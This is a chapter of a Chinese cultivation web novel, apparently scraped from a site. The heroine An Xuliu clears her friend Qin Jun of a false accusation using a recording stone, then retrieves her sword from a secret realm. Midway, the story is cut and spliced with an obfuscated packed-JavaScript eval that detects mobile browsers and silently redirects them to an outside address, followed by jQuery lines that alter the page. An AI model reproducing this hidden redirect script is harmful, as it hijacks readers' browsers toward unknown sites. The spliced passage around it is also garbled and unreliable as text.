7. 主持公道

安许柳这几年凭借实力,巧妙地避开了与主角团的交集,然而,仍有谣言四起,无端揣测她与男主关系不和。


她紧握双拳,心中愤愤不平。这谣言已流传数年,如今她都十五岁了,说什么关系不好,简直是谬论,他们之间压根儿就没有任何交集。


在同一课堂上,男主坐哪儿,她就选择最远的对角线位置坐下;宗门分配任务时,她也总是与覃珺结伴而行,连大师姐都疏远了。


更有甚者,传言她被其他亲传弟子孤立。这简直是天大的笑话,分明是她孤立了其他四个好吧。


还有传闻说,她与覃珺已经私定终身。这玩笑开得也太过分了,他们才十五岁,覃珺更是只有十四岁,谈何私定终身?作业都写不完的年龄,哪有心思谈情说爱。


如果与覃珺私定终身能换来他帮忙写作业,她或许还会考虑一下。


谣言满天飞,她早已懒得去辩解,毕竟那些传言都太过离谱。


刚从师父的屋子出来,安许柳便接到外出历练的任务,目的地是一个离此不远的秘境。师父说她可以带一个人同行,她能带谁呢?也就覃珺这一个朋友。


“许柳姐!”覃珺怒气冲冲地走过来,一把抓住她的衣袖。周围的人瞪大了眼睛,也只有他敢如此直接地触碰安许柳的衣服。换作其他人,免不了要遭受她凌厉的眼神审视和刻薄的言语攻击。


“又怎么了?”安许柳无奈地叹了口气,每次覃珺都要惹出麻烦,最后还得由她出面解决。


覃珺跳到她面前,手舞足蹈地描述着刚才发生的事情:“我刚才遇到那个家伙,他把我推下了池塘,害我呛了好几口水,恶心死了。”他叉着腰,衣摆处还能看见些许湿润,显然是烘干时灵力不足,只弄干了一半。


安许柳皱眉看着他:“我不是告诉过你,别招惹他吗?”


“这次我真没招惹他,他偏说是我把他的书丢进了河里。他旁边有两个人,我当时就一个人,他就把我推下去了,让我去捡,不捡起来不让我上来。”覃珺委屈地说道。


安许柳更加烦闷地皱起眉头,她真的不想看到男主角,更不想和他有任何交集。


“那你怎么起来的?”她问道。


“顾师姐来了,把我拉起来的。”覃珺红着眼睛,一副你不为我出头就不罢休的架势。


“你去找你师父。”安许柳给他指出另一个解决办法后,准备转身离去,为过几天的秘境挑战做准备。


“不行,师父只会说我没用。我真的没干这事,你必须陪我去说清楚,我要让他给我道歉,我要他和我一样掉进河里。”覃珺不依不饶。


安许柳摆了摆手:“这事怎么说清楚?附近有人看见什么吗?”


“哎呀,你去了就知道了。”覃珺硬拉着她往那边走去。


安许柳真是拿他没办法,毕竟平时他也帮了自己不少忙,这件事又不好直接拒绝。


如今,她在弟子中除大师姐外修为最高,已达到筑基巅峰,正准备冲击金丹期。


到了事发地点,周围围满了看热闹的人,议论声此起彼伏。当事人的到来让议论声更加响亮,所有的目光都聚焦了过来,安许柳的脸色更加难看了。


看见安许柳来了,关于她和男主的谣言又开始议论起来。


自己的师弟师妹在对面,但她却站在了覃珺这边,这谣言也就更加证实了。


她平静地看着主角团三人,一旁的大师姐手足无措地看着双方对峙。


顾云清焕然一新,整个人宛若精致的洋娃娃,五官比例堪称精雕细琢的艺术杰作。


“我想,这其中或许有些误会。”安许柳声音冷淡地开口,并非她本意,只是久未交谈,显得有些别扭,而这在旁人听来,却显得格外冷淡。


“当时这里只有他,不是他扔的是谁扔的?这可是师父赠予三师兄的书。”一旁,四师弟陆诏安义愤填膺地指责着,目光在两人间来回游移。


安许柳转头看向覃珺,只见他满脸通红,情绪激动地说道:“我只是路过,这教室谁都可以进来,我只是把要给许柳姐的发簪落在了这里。”说着,他拿出一根银簪,那是安许柳托他外出购买的,只因她懒得出门。


银簪一出,众人的视线在两人间徘徊。安许柳并未察觉到气氛的微妙变化,她不敢直视旁人,人太多,她接过发簪,轻轻点头:“确实如此,他刚才说东西落在这里,要来取。”


顾云清眼神平静地望着她,但安许柳从他自然下垂的双手中,隐约感受到一丝僵硬与紧绷。


“是我误会了吗?”顾云清轻声问道。


此时,欢凌站了出来,她紧盯着安许柳的眼眸,强压下愤怒:“二师姐,你为何要偏袒一个外人?”


安许柳平静地解释道:“他是我的朋友,并非外人,而且我相信他不会这么做。”其中疑点重重,且以她对覃珺的了解,他的委屈不似作假。


“你!你才是外人!你们才是外人!我和许柳姐一直在一起的!”覃珺气急败坏地反驳,


安许柳微微蹙眉,心想或许是漏了一个字,应是“一直在一起玩”。


安许柳轻拍他的肩膀,示意他冷静,转而望向窗外的池塘:“你们是如何知道书在池塘里的?”


欢凌似乎被覃珺的话所伤,她不再称呼安许柳为二师姐,而是疏远地唤了一声“安师姐”。


“安师姐,我们一进来就看见他兴高采烈地出去,随后就发现书在池塘里飘着,我们便追了出去。”


“每节课都有留影石录像,我们看看吧,这里的留影石忘记关了。”安许柳的目光投向教室后方。


众人闻言,纷纷将目光投向那里。原本每节课结束后,留影石都会关闭,但这次却恰好遗漏。


因今日的留影石应由安许柳关闭,而她刚才被师父叫去,故而未能及时关闭。


听闻留影石仍开着,一名男弟子瞪大眼睛,神色紧张地看着安许柳走向留影石,意欲取下,他面色苍白。


真相大白后,众人的目光聚焦在他身上。


安许柳望着三人,顾云清神色如常,而陆诏安与欢凌则面露尴尬,因为正是他们二人将覃珺推下池塘,三师兄并没有动手。


顾云清走到安许柳与覃珺面前,低头致歉:“对不起,是我误会了。”</p


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15334201|167746||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


>


欢凌上前欲拉他的胳膊阻止,却被他下意识地躲开。欢凌只好张开双臂挡在他面前:“是我和四师兄推的,与三师兄无关。”


两人皆知三师兄在宗门中过得艰难,若再被误会,恐将遭受更多欺凌与非议,她不能让他背锅。


“书坏了吗?”安许柳平静地问道。一旁的覃珺一副誓不罢休的模样,正欲挽袖动手,却被安许柳一把拉住。


她的目光落在顾云清身上,继续刚才的话题:“坏了一半,可以修,就是有些麻烦。”顾云清凝视着她的眼眸,浓密的睫毛下,眼神多情,容颜宛若神祇。


“修好了给覃珺看看,算是补偿。”安许柳轻拍覃珺的肩膀。


陆诏安脾气火爆,皱眉道:“凭什么给他看!”欢凌急忙拉住他,捂住他的嘴,示意他噤声。


覃珺更加恼怒,指着三人道:“呸!我还不想看呢!”


安许柳轻松地将他拉住,平静地说道:“师父给的,想必是好东西,看看也不亏。走了,我们还有事要办,别在这耗着了。”


覃珺拍了拍衣服,瞪了那三人一眼,只好作罢,转身随安许柳离去。


顾云清皱眉望着安许柳的背影,心中疑惑,不知从何时起,安许柳与他们这些亲师姐弟渐行渐远。


欢凌向顾云清伸出手:“交给我吧,我来修,半个月应该能修好。”


顾云清将书递给她,目光落在她的脸上。欢凌微微发呆,心中暗赞:真好看,若资质再好一些,定能成为万人追捧的对象。就像二师姐一样,不对,二师姐脾气不好,为人冷清,大家都有些惧怕她。虽然她也漂亮,但与三师兄相比,还是稍逊一筹。三师兄的美,简直不似凡人。


顾云清瞥了一眼两人离去的背影,衣袖下的手用力拨弄着指甲,白玉般的手指被弄得泛红,鲜血渗出。


他将血攥在手心,饱满的嘴唇勉强挤出一丝笑容:“谢谢小师妹了。”


即便是笑着,他的眼神也带着疏离,整个人显得儒雅而清冷,与每个人都保持着莫名的距离。


几日过后,安许柳引领着覃珺抵达了秘境的入口,今日,她正是为了取回自己的本命长剑——天琼而来。


天仙碧玉,琼瑶点点,扬花纷飞,鹅毛片片。这把遗世独立、清冷飘渺的长剑,曾是原主最为鲜明的标志。


这一路的历程并不平坦,秘境之中,两人均遭受了重创,却凭借着彼此的扶持,艰难地走出了困境。


若非为了取得这把天琼剑,覃珺也不必承受如此重伤。


此次过后,安许柳认为,若是以后想要有一个相伴之人,他似乎不错,至少他们彼此了解,相互包容。


“覃珺,别睡,我们很快就能回去了。”


“嗯……”


安许柳踏上了天琼剑,御剑疾驰而归,路程并不遥远,她们很快就抵达了目的地。她强忍着身体的疲惫,没有让自己倒下。


储物袋里的灵草,与覃珺平分后,也足够助力安许柳突破至金丹。


然而,当她浑身伤痕累累地站在师父面前,汇报此次的所得时,师父却说出了一句令她怒不可遏的话语。